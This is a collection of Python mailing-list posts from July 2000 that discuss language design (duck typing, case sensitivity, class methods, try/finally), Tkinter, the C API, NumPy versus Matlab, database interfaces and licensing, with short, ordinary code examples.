motivated to implement a class like StringIO, and that the file object
were also a Python class, would you make StringIO a subclass of file, or
just implement the interface?

I would just implement the interface, just because there's nothing of
value for me (that I can think of, anyway) in the file implementation.
I want something that ``walks like a duck'', but is not a natural duck
of some exotic species but a completely unrelated thing that shares only
its very simple abstractions.  If I carried along a natural duck in
there, it would be kind of an ancestor fetish, not a useful thing.

Maybe both should inherit from some class that represents the basic
notions that they all implement, even though there wouldn't be any
actual implementation at that level of abstraction, just so's we
could look at the class hierarchy and say ``It's a duck!''.  I guess
some languages do this, Python doesn't.  I think that's good.  Because
we don't respect the ancestor fetish, I don't have to go back to the
author of file and say ``Hey, why don't you pull an abstract base class
up out of your class so I can inherit from it?'' and then to the author
of some library function and say ``Hey, we have this new abstract base
class for "file", so expect that instead and I can use your function.''
I just bolt on the duck stuff and we're ready to go in 10 minutes.

	Donn Cave, donn at u.washington.edu


From cppdan at dansmart.com  Mon Jul 31 22:59:13 2000
From: cppdan at dansmart.com (Dan Smart)
Date: Tue, 01 Aug 2000 02:59:13 GMT
Subject: The State of Python
References: <LNBBLJKPBEHFEDALKOLCIEEAGMAA.tim_one@email.msn.com>
Message-ID: <8F82EDFE0Me@167.206.112.102>

tim_one at email.msn.com (Tim Peters) wrote in
<LNBBLJKPBEHFEDALKOLCIEEAGMAA.tim_one at email.msn.com>: 
>  The decision to put something in the public domain is
>irrevocable, so stops that game before it starts.  In the area of
>programming languages, the decision to develop Icon 
>(http://www.cs.arizona.edu/icon/) in the public domain has granted Ralph 
>Griswold a long, happy and lawyer-free life.
>

WARNING (IANAL but have been advised by one)
Putting something in the public domain involves releasing it without a 
license and I have been told that this is extremely risky. Apparently the 
primary purpose of a BSD style license is to limit liability - typically to 
no more than you paid for the software (i.e. nothing). With out such a 
license clause, or indeed a license at all, you are potentially open to 
unlimited liability in the event that a user of your software suffers harm 
from such use - even though they paid nothing for it.
This struck me as insane, but I have been assured that this is the case.


>not-speaking-for-anyone-ly y'rs  - tim

Barely-communicating-ly yours
Dan

-- 
Dan Smart. C++ Programming and Mentoring.
cppdan at dansmart.com


From moshez at math.huji.ac.il  Wed Jul 12 13:44:44 2000
From: moshez at math.huji.ac.il (Moshe Zadka)
Date: Wed, 12 Jul 2000 20:44:44 +0300 (IDT)
Subject: Browse for folder
In-Reply-To: <522b5.7305$wE2.19499@dfw-read.news.verio.net>
Message-ID: <Pine.GSO.4.10.10007122043070.12186-100000@sundial>

On Wed, 12 Jul 2000, michael montagne wrote:

> I found the FileDialog sample but I need to Browse for folder not dialog.
> How might that be done?  Remeber, I'm a newbie.

If you're using Python 2.0b1 with Tcl/Tk 8.3, you should be able to do:

import tkFileDialog

class DirChooser(tkFileDialog._Dialog):

	command = "tk_chooseDirectory"

def askfordir():
	return DirChooser().show()
(untested)
--
Moshe Zadka <moshez at math.huji.ac.il>
There is no GOD but Python, and HTTP is its prophet.
http://advogato.org/person/moshez




From pauldubois at home.com  Fri Jul  7 11:58:05 2000
From: pauldubois at home.com (Paul F. Dubois)
Date: Fri, 07 Jul 2000 15:58:05 GMT
Subject: More PyArg questions?
References: <fLl95.37562$NP5.1182716@newsread2.prod.itd.earthlink.net>
Message-ID: <h6n95.32024$i5.354976@news1.frmt1.sfba.home.com>

Arint? <shouldbe at message.com> wrote in message
news:fLl95.37562$NP5.1182716 at newsread2.prod.itd.earthlink.net...
> Is PyArg_ParseTuple and PyArg_ParseTupleKeywords (or whatever it is) the
> only two to monkey are with arguments passed from python to c++?
There is no law against using the CAPI to get arguments individually from
the tuple of args and disposing of them one at a time as desired.
>
> Also, what would be the best way to set a string that the python script
> wants to be filled in.  Ex.
> some.py
> fillinstring = " "
> cplusplusapp.read(fillinstring)
>
> What is the best way for C++ apps to fill in that string?  Are python
> strings going to be resizable?
>
Python strings are not only not resizeable they are IMMUTABLE. Your example
coding would likely cause great harm.
The easiest way to do this is make the string a part of the return:
fillinstring = cplusplusapp.read()

You can create the string in the C API using e.g. PyString_FromString.





From just at letterror.com  Wed Jul 26 05:24:28 2000
From: just at letterror.com (Just van Rossum)
Date: Wed, 26 Jul 2000 10:24:28 +0100
Subject: PythonWin/Scintilla aggressive folding...
References: <guif5.43644$1h3.552517@news20.bellglobal.com> <2trf5.12076$4p3.93728@news-server.bigpond.net.au> <1csf5.40036$Gh.442627@news20.bellglobal.com> <7mwf5.12307$4p3.95451@news-server.bigpond.net.au>
Message-ID: <397EAE32.8A76A18A@letterror.com>

Neil Hodgson wrote:
>    [ ... ] I introduced the level
> neutral comments idea after developing the original strictly indentation
> based code and using it on example files. First blank lines had to become
> level neutral as lots of functions and methods have blank lines. Then I
> found lots of commented out bits so made the comment lines work like blank
> lines. Another heuristic that may be light weight would be that comment
> lines try to bind in a forwards direction but this may require some
> look-ahead.

The latter would indeed make a lot of sense; I think it's safe to say
that most comments apply to the code after it. Also: folding away too
much is worse than folding too little.

still-hope-to-find-time-some-day-to-port-Scintilla-to-my-platform-ly y'rs -- just


From jon_mclin at attglobal.net  Fri Jul  7 19:28:15 2000
From: jon_mclin at attglobal.net (Jon McLin)
Date: Fri, 07 Jul 2000 17:28:15 -0600
Subject: What about try:except:finally
References: <3967d908.363887342@news.online.no>
Message-ID: <3966678F.710E45B9@attglobal.net>

try:
    try:
        # some code
    except:
        # catch exception
finally:
    #clean up


Thomas Weholt wrote:

> Hi,
>
> Does python support, or if not, would it be cool to have support for :
>
> try:
>         # some code
> except :
>         # catch exception
> finally:
>         # clean up whatever
>
> Thomas



From ngps at madcap.dyndns.org  Sun Jul 23 08:21:59 2000
From: ngps at madcap.dyndns.org (Ng Pheng Siong)
Date: 23 Jul 2000 12:21:59 GMT
Subject: how to build ssl on window
References: <8lb9ap$j0n$1@nnrp1.deja.com> <8lc6jk$1f1$1@coco.singnet.com.sg> <8lde5s$vba$1@nnrp1.deja.com>
Message-ID: <8leo17$tnt$1@dahlia.singnet.com.sg>

According to  <ryzam at my-deja.com>:
> i have download M at Crypt0 0.05-snapshot#3 and unzip it.How to use it?
> because when i 'm try to run "python urllib2.py" i got an error

urllib2.py is a library, not an application.

See demo/ssl/https_cli.py.



-- 
Ng Pheng Siong <ngps at post1.com> * http://www.post1.com/home/ngps



From gjohnson at gs.verio.net  Mon Jul 17 16:34:51 2000
From: gjohnson at gs.verio.net (Tony Johnson)
Date: Mon, 17 Jul 2000 15:34:51 -0500
Subject: Internet Programming in Python
References: <397221B2.173C3947@u.washington.edu>
Message-ID: <39736DEB.D2285ADD@gs.verio.net>

http://www.ora.com shuld carry this one...


steve langer wrote:
> 
> Does anyone know a used book store that would carry this out of print
> book?
> 
> Email great.
> 
> thanks,
> SL    sglanger at oakland.edu
> 
> --
> http://www.python.org/mailman/listinfo/python-list



From tanzer at swing.co.at  Wed Jul 26 01:18:45 2000
From: tanzer at swing.co.at (Christian Tanzer)
Date: Wed, 26 Jul 2000 07:18:45 +0200
Subject: Python is wierd! 
In-Reply-To: Your message of "Tue, 25 Jul 2000 16:38:33 GMT."
             <dojf5.45539$6y5.29151500@news2.rdc2.tx.home.com> 
Message-ID: <m13HJaf-000wcDC@swing.co.at>

"Rainer Deyke" <root at rainerdeyke.com> wrote:

> Static variables and methods are a mess anyway. In Python, there is no
> need for them - just place the variables and functions outside the
> class.

That's a strong statement. But it is not true.

If you write code using classes as first-class objects, class
variables and methods can be very useful.

As Moshe Zadka recently demonstrated, there even is a way to get class
methods in Python:

> Let me reiterate the way to get class methods:
> 
> class Function:
> 
> 	def __init__(self, func):
> 		self.func = func
> 
> 	def __call__(self, *args, **kw):
> 		return apply(self.func, args, kw)
> 
> class SomeClass:
> 
> 	def class_method(a, b, c):
> 		return a+b+c
> 	class_method = Function(class_method)

Of course, you can go out of your way and go from class to module to
module variable/function, but then that really is a mess.

-- 
Christian Tanzer                                         tanzer at swing.co.at
Glasauergasse 32                                       Tel: +43 1 876 62 36
A-1130 Vienna, Austria                                 Fax: +43 1 877 66 92




From neilh at scintilla.org  Tue Jul 18 10:02:57 2000
From: neilh at scintilla.org (Neil Hodgson)
Date: Tue, 18 Jul 2000 14:02:57 GMT
Subject: Matlab vs Python (was RE: Discussion: Introducing new operators for  matrix computation)
References: <slrn8mpi53.sh.hzhu@rocket.knowledgetrack.com> <3973415D.5262CD86@eecis.udel.edu> <39735013.1AE68176@roguewave.com> <39736213.15848862@eecis.udel.edu> <39739291.4155A128@prescod.net> <g1l8ns009uqt0502v3avkap6j6qjonsc9d@4ax.com>
Message-ID: <lsZc5.5437$4p3.40207@news-server.bigpond.net.au>

John Lull wrote

> By that reasoning, cryptography ought not be part of the standard
> distribution, either.  Nor should complex numbers.

   I'm all for that one. Lets remove complex numbers. With creaping
featurism, each new feature makes someone very happy. The small amount of
added pain to the majority isn't noticeable until the layers of crud have
become deep enough to start paralysing development. Its /so/ hard to remove
something once its in and backwards compatibility becomes an implied but
unbreakable contract.

   I don't care so much about cryptography as its just another library with
no syntactic overhead but removing complex numbers would decrease Python's
complexity ;)

   Neil





From cjc26 at nospam.cornell.edu  Thu Jul 27 14:38:18 2000
From: cjc26 at nospam.cornell.edu (Cliff Crawford)
Date: Thu, 27 Jul 2000 18:38:18 GMT
Subject: iterating over lines in a file
References: <Uvqd5.21615$DZ4.69024@news.corecomm.net> <hMrd5.49275$e6.2860918@pouncer.easynews.com> <8l73an01lgb@news2.newsguy.com> <vnLd5.27741$r9.839310@news.easynews.com> <DSOd5.25099$DZ4.83839@news.corecomm.net> <slrn8nhj0s.jr0.cjc26@synecdoche.sowrong.org> <jlie5.28024$DZ4.107957@news.corecomm.net> <slrn8nm1au.pod.cjc26@synecdoche.sowrong.org> <2OVe5.11$o45.2121@news.corecomm.net>
Message-ID: <slrn8o10fv.240.cjc26@synecdoche.sowrong.org>

* nobody <no at bo.dy> menulis:
| 
| > Also, in your example you'd probably want to use search() rather than
| > match(), which only succeeds if the regexp matches the beginning of the
| > string (i.e. it acts as if there is an implicit '^' at the beginning of
| > the regexp).
| 
| hm. any difference in performance, or can i just as well make the caret
| explicit and standardize myself on match?

Er, what I meant was that match() only succeeds if the regexp matches
the beginning of the string, while search() will succeed if the regexp
matches anywhere in the string.  I doubt there's any difference in
performance.


-- 
cliff crawford    -><-    http://www.people.cornell.edu/pages/cjc26/
                         "But why is it TILED?!?"      icq 68165166


From ge at nowhere.none  Thu Jul 20 11:11:59 2000
From: ge at nowhere.none (Grant Edwards)
Date: Thu, 20 Jul 2000 15:11:59 GMT
Subject: 2 tkinter questions
References: <3976B061.617CACB0@structurex.net> <8l6rmt$h1a$1@nnrp1.deja.com>
Message-ID: <3FEd5.1816$6E.374768@ptah.visi.com>

In article <8l6rmt$h1a$1 at nnrp1.deja.com>, John Grayson wrote:
>In article <3976B061.617CACB0 at structurex.net>,
>  walter hanagriff <walter111 at structurex.net> wrote:
>
>One answer:
>
>   You *are* using Tkinter variables, aren't you?

That's a hard thing to get used to.  The Scheme/Tk system I was
used to allowed Scheme variables to be used directly by Tk
widgets.  I presume that allowing Python variables to be used
would involve too much hacking on Tk.  [Same reason Tkinter
actually uses Tcl and Tk rather than just Tk.]

-- 
Grant Edwards                   grante             Yow!  ... The waitress's
                                  at               UNIFORM sheds TARTAR SAUCE
                               visi.com            like an 8" by 10" GLOSSY...


From cg at schlund.de  Wed Jul 19 11:17:06 2000
From: cg at schlund.de (Carsten Gaebler)
Date: Wed, 19 Jul 2000 17:17:06 +0200
Subject: treeftp -- a smart ftp client
References: <3974D7F0.89207A68@pacific.jpl.nasa.gov>
Message-ID: <3975C672.BFE14AC2@schlund.de>

Benyang Tang wrote:
> 
> treeftp -- a smart ftp client for Unix.

You forgot a comma between 'a' and 'b' in the source of treeftp:

hostList = {
'a': ('host_a.edu', 'myUserID_a', 'cat passFile_a', '')
'b': ('host_b.edu', 'myUserID_b', 'echo', '-a -t')
}


Carsten.


From chris_barker at my-deja.com  Tue Jul 18 15:48:20 2000
From: chris_barker at my-deja.com (chris_barker at my-deja.com)
Date: Tue, 18 Jul 2000 19:48:20 GMT
Subject: Matlab vs Python (was RE: Discussion: Introducing new operators f
References: <3bRZA8$jD_@openbazaar.net>
Message-ID: <8l2c9t$823$1@nnrp1.deja.com>

I have also been reading this thread with great interest, and I feel the
need to add a few of my commnets (isn't that what usenet is about?). One
of the thoughts I've had is that there has been a lot of talk about
"linear algebra", but, in fact, I think what most of us that want any of
this want is not really linear algebra, but array (or matrix, or list or
whatever) oriented syntax. I have found that people who have not used
such a thing find it hard to understand what the point is, but once you
get used to it, It becomes alomost indispensable, both for clear,
easy-to-read-and-write code, and for performance in an interpreted
language.

I spent quite a few years in grad school doing computational programming
in Matlab. I hardly EVER used linear algebra. Mostly what I used was
element-wise operations. Because of this, I was ecstatic to find that
NumPy provided element-wise operations as the default behaviour (A*B),
rather than Matlab's default to a matrix multiply. It also provides
array broadcasting, rather than having to do Matlab's "meshgrid" trick.

The other thing I've found is that I am very frustrated by not having
those kinds of elementwise operations available for other Python types.
It's fine and dandy to use NumPy arrays for numerical stuff, but when I
need to interact with other Python services, I spend a lot of time
translating back and forth. Having NumPy be more native would be great,
as well has having NumPy type functionality in other Python types.
Having to write a lot of for loops and use map a lot, when it seems so
superfluous (and slow).

So, in summary: I'd like to see:

-NumPy become part of core Python

-Element-wise operations become part of Python

-Perhaps a little nicer way to do linear algebra, but IMHO, having that
as part of native syntax falls into the realm of "special functionality"

I also have a few comments on stuff others have written (mostly
unattributed, sorry there were soo many posts to look at)

In article <3bRZA8$jD_ at openbazaar.net>,

> Personally, I find that the matrix-orientation of Matlab makes it
> harder to get things done.  I more often have 3 or higher dimensional
> arrays than I have plain old 2D matrices, so I'd rather see the more
> general Numeric Python syntax than any over-specialized matrix code.

YES! it's not the array orientation that's the problem, it's the Linear
algebra orientation. If we stick with N-d array orientation, we'll have
a widely usefull tool. (NOTE: Matlab is not the only commonly used
language with this kind of feature. FORTRAN 90 has it too.)


>Python could become the primary open source alternative to Matlab in
time
> if a few changes were made: Incorporate numpy into the core
distribution (or
> release a  distribution with it already embedded), simplify the syntax
for
> matrix operations, and improve the help facility at the interpreter.

And a good, native, platform independent, graphing package. (note:
Graphite is headed this way, but I don't know how fast)

>And you get the advantage that you can use the same syntax Matlab uses.

This is NOT an advantage. If I wanted MATLAB syntax, I'd use MATLAB or
maybe Octave or Scilab) Let's not make the same mistakes Matlab made. It
started as a linear algebra tool (MATrix LABratory), and has evolved
into a general purpose number-crunching tool (it's still suffers form
that LA heritage, and it is by no means a general purpose programming
language). I'd like to see Python remain the general purpose tool it is,
with some added number crunching capability, but not focused in Linear
Algebra.

I'm going to go check out MatPy now.

-chris



Sent via Deja.com http://www.deja.com/
Before you buy.


From olivierS.dagenaisP at canadaA.comM  Sat Jul 15 00:45:47 2000
From: olivierS.dagenaisP at canadaA.comM (Olivier Dagenais)
Date: Sat, 15 Jul 2000 04:45:47 GMT
Subject: Why make a language case sensitive?
References: <000801bfeda1$fcd99a20$6cb745c6@timaratz> <jbPb5.1245$bb.28195@news101.telia.com>
Message-ID: <%%Rb5.109206$HK2.1930096@news20.bellglobal.com>

As a VB freak (or ex-thereof), I need to point out that the VB IDE will
attempt to make all variables and keywords use the same case.  So, for
example, "if" is always 'converted' as "If" and if you declare a variable as
such:

Dim m_Spam As Long

(which, BTW, the IDE would have 'fixed' the words 'Dim', 'As' and 'Long')

and then you need to refer to m_Spam, you can type it without any capitals,
and when you move the cursor to another line, the IDE will look up the
declaration and match the case of the new instance of the variable with that
of the declaration... For example, I type:

m_spam = M_SPAM + 42  <ENTER>

and it becomes:

m_Spam = m_Spam + 42

...which keeps the readability.  (doesn't it?)  Also, now that I have this
line of code, if I go back to the declaration and change 'm_Spam' to
'm_SpAm', all the references 'm_Spam' will now read 'm_SpAm'...

So, I can't say that I agree with you when you say that forcing the user to
type the name correctly will improve readability, especially in the case of
Pyton when a mis-typed variable name results in a new binding being created,
and not a compile-time error, like in C.  I once read an "article" (more
like a joke) on how to write really bad (obfuscated) C code, and one of the
"tips" was to mix the cases of the letters making up variable names....

If you have a pre-processor or a powerful IDE (more like a compiler built
into an IDE), you can achieve readability that is customized to the person
reading and making a change in the "readability" of a name does not require
doing a [case-sensitive] find/replace.

Let the user have only to remember the sequence of characters and let the
computer find out (in a previous declaration or usage) how they should be
capitalized.

I love Python.  I hope case sensitivity doesn't stay around for too long.
All it *really* allows you to have is something like a previous post, where
a file requires a close method with a small C and for a DB connection, a
close method with a capital C:

aFile.close()
aConnection.Close()

...which just seems pretty silly to me, especially if you're someone trying
to use code from two different sources, and they have adopt similar
conventions, except the case is different.  People just don't think like
computers:  'a' and 'A' are the same letter, and you bring up a good example
in your last paragaph...

--
----------------------------------------------------------------------
Olivier A. Dagenais - Carleton University - Computer Science III


"Anders Eggers-Krag" <aek at aek.dk> wrote in message
news:jbPb5.1245$bb.28195 at news101.telia.com...
> I would say that it improves syntax consequense, leading to more readable
> code
> for others, you are never in doubt about what to look for when looking for
a
> keyword,
>
> in VB you might look for IF, If or if, and they look very different, and
it
> becomes a lot harder
> to read somebody elses code.
>
> the case insensitivity is nice when I am the only one to read my code as I
> could then choose my
> own obscure notation such as mYmetOd() and keep it consequent writing dEf,
> claSs, If eTc.
> wheras case sensitivity makes it more natural to keep a more sensitive
> manner such as myMethod()
> MyMethod() or my_method() throughout that everyone can agree on, I believe
> that case sensitivity
> leads to more uniform code, that again makes it easier to read your
> collegues code. And i think it should
> seem natural to everyone, after all books are written in case sensitive...
> you can't write: "i Am the wisEst
> One of aLl." and be taken seriously
>
> But it depends on which kind of access is needed to the system ie it would
> be dreadfull if DNS
> or SMTP servers were case sensitive and  user enters MicroSoft.com and
gets
> nowhere because
> he should have written microsoft.com.
>
>
> --
> Anders Eggers - Krag
>
>
> "Peter Timaratz" <timaratz at lisco.com> wrote in message
> news:000801bfeda1$fcd99a20$6cb745c6 at timaratz...
> > I can't think of any advantages to a case sensitive language. Python is
a
> > very well-designed language though, so I imagine there is a good reason
> that
> > it is case sensitive. So what are the advantages of a case sensitive
> > language?
> >
> >
>
>




From herzog at online.de  Wed Jul 12 19:02:15 2000
From: herzog at online.de (Bernhard Herzog)
Date: 13 Jul 2000 01:02:15 +0200
Subject: Changing the class of an instance
References: <8ki9bf$2pg3$1@pc-news.cogsci.ed.ac.uk> <396CB0D3.8F7BC8E5@prescod.net> <slrn8mpn08.17c.hzhu@rocket.knowledgetrack.com>
Message-ID: <m3em4z7y14.fsf@greebo.nodomain.de>

hzhu at knowledgetrack.com (Huaiyu Zhu) writes:

> I also find I need to do this a lot of time.  For example, when you read
> something from a file, you want to return an object of a specific class
> based on the content.  The easiest way to do it appears to be
> 
> class General:
>    __init__(self, data):
>        self.data = data
>        if data is something:
>            self.__class__ = Special1
>        else:
>            self.__class__ = Special2
> 	   
> class Special1(General): pass
> 
> class Special2(General): pass

In this case I think a factory function would be much cleaner:

def instantiate(data):
	if data is something:
		return Special1(data)
	else:
		return Special2(data)

Putting knowledge about what derived classes exist into the base class
is the wrong approach, IMO. You obviously have to have knowledge about
the derived classes somewhere in the code, and the right place for that
is a factory function or something similar outside of the class
hierarchy.


-- 
Bernhard Herzog   | Sketch, a drawing program for Unix
herzog at online.de  | http://sketch.sourceforge.net/


From davec999 at my-deja.com  Mon Jul  3 04:23:03 2000
From: davec999 at my-deja.com (David Currie)
Date: Mon, 03 Jul 2000 08:23:03 GMT
Subject: command-line history in win
References: <395c304e.1224185@news.student.lu.se> <8jhm03$qnm$1@nnrp1.deja.com> <8jig08$dk7$1@nnrp1.deja.com> <8F63D360Egmcmhypernetcom@199.171.54.154>
Message-ID: <8jpigs$4k9$1@nnrp1.deja.com>

In article <8F63D360Egmcmhypernetcom at 199.171.54.154>,
  gmcm at hypernet.com (Gordon McMillan) wrote:
> david_ullrich at my-deja.com wrote:
>
> >  David Currie <davec999 at my-deja.com> wrote:
>
> >> It works for me (Python 1.5.2)...
>
> >     Keen. Maybe I'm the only one who doesn't know:
> >_What_ works for you, exactly?
>
> Perhaps David is on NT, where it just works (not only for DOS cmds,
but if
> you start Python, up-arrow will take you thru the history for your
last
> Python session in that DOS box). This is all built in to NT.

That is correct, I am on NT.  I hadn't realised it might be different
for win9x...

Dave


Sent via Deja.com http://www.deja.com/
Before you buy.


From oivvioREMOVETHIS at cajal.mbb.ki.se  Wed Jul 19 09:28:43 2000
From: oivvioREMOVETHIS at cajal.mbb.ki.se (Oivvio Polite)
Date: Wed, 19 Jul 2000 15:28:43 +0200
Subject: a more comprehensive distribution?
Message-ID: <8l4act$loo$1@news.kth.se>

I've been working with python for a couple of months now.
My only real annoyce is the constant need to locate and install python
modules.

I'd like to get my hands on a distribution that includes a lot more then the
standard library, somthing that comes with Numpy, ScientificPython, mxODBC,
mxDateTime, a lot of other stuff I don't know about yet.

Anyone seen anything like that?
Anyone who knows what ActivePython will include?

oivvio





From olivierS.dagenaisP at canadaA.comM  Fri Jul  7 14:24:49 2000
From: olivierS.dagenaisP at canadaA.comM (Olivier Dagenais)
Date: Fri, 07 Jul 2000 18:24:49 GMT
Subject: ISO Latin -> HTML conversion
References: <8k4r6p$p1v$1@thrud.anatomy.usyd.edu.au>
Message-ID: <Rfp95.49694$W35.1082077@news20.bellglobal.com>

I think the map function was designed for something like this.. (???)

--
----------------------------------------------------------------------
Olivier A. Dagenais - Carleton University - Computer Science III


"Danny Yee" <danny at thrud.anatomy.usyd.edu.au> wrote in message
news:8k4r6p$p1v$1 at thrud.anatomy.usyd.edu.au...
> I need to convert text with ISO Latin characters to HTML, e.g.
> I want to map ? to &eacute; and so forth.
>
> I can do this by reading in a wopping big file
> ('?', '&Agrave;'),
> ('?', '&Aacute;'),
> ('?', '&Acirc;'),
> ('?', '&Atilde;'),
> .
> .
>
> and then going
> for pair in fix_list:
> line = re.sub(pair[0], pair[1], line)
> as I read each line... but there has to be something quicker than that,
> surely.  Is there a fast way to do this?
>
> Danny.
>
>
>




From paul at prescod.net  Fri Jul 14 12:48:51 2000
From: paul at prescod.net (Paul Prescod)
Date: Fri, 14 Jul 2000 11:48:51 -0500
Subject: Does Python code >.require<< a run-time environment?? (New to 
 Python)
References: <20000714153818.28906.qmail@web5302.mail.yahoo.com>
Message-ID: <396F4473.35DCA488@prescod.net>

> I like the language... but one reason why I'm looking at something
> -other- than Java is that I am kinda needing an .exe -type
> capability...

Either Python or Java code can be distributed as an executable. The
executable bundles the interpreter into it. For Python, you want to look
at

http://starship.python.net/crew/gmcm/distribute.html

For Java, at "jexegen.exe".

-- 
 Paul Prescod - Not encumbered by corporate consensus
It's difficult to extract sense from strings, but they're the only
communication coin we can count on. 
	- http://www.cs.yale.edu/~perlis-alan/quotes.html



From paul at prescod.net  Thu Jul 13 06:50:29 2000
From: paul at prescod.net (Paul Prescod)
Date: Thu, 13 Jul 2000 05:50:29 -0500
Subject: Changing the class of an instance
References: <8ki9bf$2pg3$1@pc-news.cogsci.ed.ac.uk> <396CB0D3.8F7BC8E5@prescod.net> <slrn8mpn08.17c.hzhu@rocket.knowledgetrack.com>
Message-ID: <396D9EF5.D4B0EE10@prescod.net>

Huaiyu Zhu wrote:
> 
> ...
>
> I also find I need to do this a lot of time.  For example, when you read
> something from a file, you want to return an object of a specific class
> based on the content.  The easiest way to do it appears to be
> 
> class General:
>    __init__(self, data):
>        self.data = data
>        if data is something:
>            self.__class__ = Special1
>        else:
>            self.__class__ = Special2
> 
> class Special1(General): pass
> 
> class Special2(General): pass

YOur code would work just as well if Special1 and Special2 were not
related to General. In fact, it would work if you separated out that
init function into something that reads the data and creates an
appropriate class instance based on the data.

-- 
 Paul Prescod - Not encumbered by corporate consensus
Simplicity does not precede complexity, but follows it. 
	- http://www.cs.yale.edu/~perlis-alan/quotes.html



From thomas at xs4all.net  Fri Jul  7 18:20:24 2000
From: thomas at xs4all.net (Thomas Wouters)
Date: Sat, 8 Jul 2000 00:20:24 +0200
Subject: Splitting c.l.py...
In-Reply-To: <8k579c$rts$1@slb3.atl.mindspring.net>; from aahz@netcom.com on Fri, Jul 07, 2000 at 06:24:44PM +0000
References: <Pine.LNX.4.21.0007052214190.4947-100000@krispc6.physik.uni-karlsruhe.de> <3dituj9cdi.fsf@kronos.cnri.reston.va.us> <39661DE1.A409330C@roguewave.com> <20000707140442.B4771@kronos.cnri.reston.va.us> <8k579c$rts$1@slb3.atl.mindspring.net>
Message-ID: <20000708002024.K26534@xs4all.nl>

On Fri, Jul 07, 2000 at 06:24:44PM +0000, Aahz Maruch wrote:
> In article <20000707140442.B4771 at kronos.cnri.reston.va.us>,
> Andrew Kuchling  <akuchlin at mems-exchange.org> wrote:

[ gateway python-dev to a moderated newsgroup ]

> >Would that be possible?  Is there a Usenet precedent for this sort of
> >setup?

> It's certainly possible.  I'm not sure whether there's precedent for
> this specific setup.  I can probably say that there'd be a fair amount
> of pushback from news.groupies, including me, unless you can clearly
> articulate why such a newsgroup would be useful.

> Note that it should be simple to set up public read-only subscriptions
> to python-dev; if it isn't simple, that's a bug in Mailman.  ;-)

Actually, I thought a little about this last week. I got tired of reading
python-dev through the archive, and then the archive went *kaboom* :-)
However, giving read-only subscriptions to python-dev is a very silly thing:
python-dev is currently *write* only. There is no real limitation on who can
post. So it's either a choice of making it read-only (aka moderated) with
the current subscription list as allowable posters, or making it a
completely open list, where people 'promise' not to 'interfere'. I hope we
can all agree #2 will not work ;) and I'm not sure about #1.

I'm not for or against any list-setup, and I'm not elite enough to be able
to give my vote on any of it anyway ;) but I'm just pointing out why it's
the way it is and not the way most people would want it ;)

And-if-Mailman-doesn't-have-it-it-will-tomorrow-ly y'rs,

-- 
Thomas Wouters <thomas at xs4all.net>

Hi! I'm a .signature virus! copy me into your .signature file to help me spread!



From hzhu at localhost.localdomain  Tue Jul 11 14:26:27 2000
From: hzhu at localhost.localdomain (Huaiyu Zhu)
Date: Tue, 11 Jul 2000 18:26:27 GMT
Subject: Circular reference problem -- advice?
References: <396A1EC6.6738CFCC@alcyone.com> <8kdref$j4t$1@nnrp1.deja.com> <396AAE98.F851708B@alcyone.com>
Message-ID: <slrn8mmpt6.tl.hzhu@localhost.localdomain>

On Mon, 10 Jul 2000 22:20:24 -0700, Erik Max Francis <max at alcyone.com> wrote:
>shindich at my-deja.com wrote:
>
>> It seems to me that there is no need to have this map at all.
>
>It actually is necessary for my purposes, since the strings that is used
>for dispatching will not be a status code (a three digit number as a
>string), not actually the name of the method to be invoked.  (I simply
>showed it that way for the purposes of the sample code; certainly in the
>example I showed you are correct.)
>

In this case you can still have the map, but it maps to strings instead of
methods, and use getattr to get the actual methods.  No circular reference.

#!/usr/bin/env python
class C:
    def __init__(self):
        print "in constructor"
        self.map = {'111': 'f', '222': 'g'}

    def __del__(self):
        print "in destructor"

    def f(self):
        print "in C.f"

    def g(self):
        print "in C.g"

    def dispatch(self, name):
        methodname = self.map[name]
        func = getattr (self, methodname)
        apply (func, [])

c = C()
c.dispatch('111')


From morganea at bellatlantic.net  Thu Jul  6 13:44:20 2000
From: morganea at bellatlantic.net (Michel Orengo)
Date: Thu, 06 Jul 2000 17:44:20 GMT
Subject: [ANN]pre-release DBAPI2.0 for ADO
References: <B5L85.2924$EV6.75523@typhoon1.ba-dsg.net> <PxL85.40906$W35.880547@news20.bellglobal.com>
Message-ID: <Uz395.5081$Uq6.110540@typhoon2.ba-dsg.net>

DBAPI provides a common interface (so does ODBC or ADO), but you still have
to deal with SQL (to process your commands). Just assigning a cursor will
not do the trick. Moreover a cusor is linked to a perticular connection
(~database)

You may want to look at modules that define layers on top of the DBAPI such
as Dtuple, SQLDict, or db-obj.

Michel



"Olivier Dagenais" <olivierS.dagenaisP at canadaA.comM> wrote in message
news:PxL85.40906$W35.880547 at news20.bellglobal.com...
> Hey, this announcement made me think of a question concerning databases:
is
> the DBAPI designed for exchanging recordsets between databases opened by
two
> different implementations?
>
> For example, could I take your ADO cursor and assign it to a database
opened
> with, say, Gadfly?  (supposing they had the same table definitions)
>
> Thanks!
>
> --
> ----------------------------------------------------------------------
> Olivier A. Dagenais - Carleton University - Computer Science III
>
>
> "Michel Orengo" <morganea at bellatlantic.net> wrote in message
> news:B5L85.2924$EV6.75523 at typhoon1.ba-dsg.net...
> > Hi all,
> > I enclosed a very preliminary version of the DBAPI 2.0 for ADO
(Microsoft
> > Active X Data Object) - ADODBpy. It is built on top of another module
> called
> > ADOpy which give a more "pythonic" interface to ADO (I've posted this
> module
> > few days ago)
> >
> > ADODBpy is still largely incomplete (does not deal with exceptions for
> > instance). It is released to get a feedback from the python community.
> >
> > Some examples to get you started:
> >
> > import ADODBpy
> >
> > db = ADODBpy.connect('MyDB', 'MyUser', 'MyPassword')
> > cur = db.cursor()
> > cur.execute('select * from mytable')
> > tup = cur.fetchone()
> >
> > #now because it is build on top of ADOpy, we can access also the
> > properties/methods of the
> > #underlying ADOobject
> > print db.provider
> > print cur.fields.Item('col').Value
> > # or better:
> > print cur['col']
> >
> > Hope this help.
> > Cheers,
> > Michel
> >
> >
> >
>
>




From ralph at inputplus.demon.co.uk  Mon Jul 31 17:56:27 2000
From: ralph at inputplus.demon.co.uk (Ralph Corderoy)
Date: 31 Jul 2000 22:56:27 +0100
Subject: Python in politics (sssssssssnake!)
References: <Pine.GSO.4.10.10007291308070.20226-100000@sundial> <398524B5.A608BFF1@philips.com> <cp8zuie0vz.fsf@cj20424-a.reston1.va.home.com>
Message-ID: <8m4smb$l9o$1@inputplus.demon.co.uk>

Hi Guido,

> > Maybe we should send Addo Stuur a few Python books :-)
> 
> Not a bad idea!  I'd be happy to do this, if Addo could be
> interested.  Do you think that Addo can program in any language?  Or
> is he just a computer *user*?  Can you get me in touch with him?
> (Nederlands is OK!)

Do you know of http://www.addostuur.com/?


Ralph.



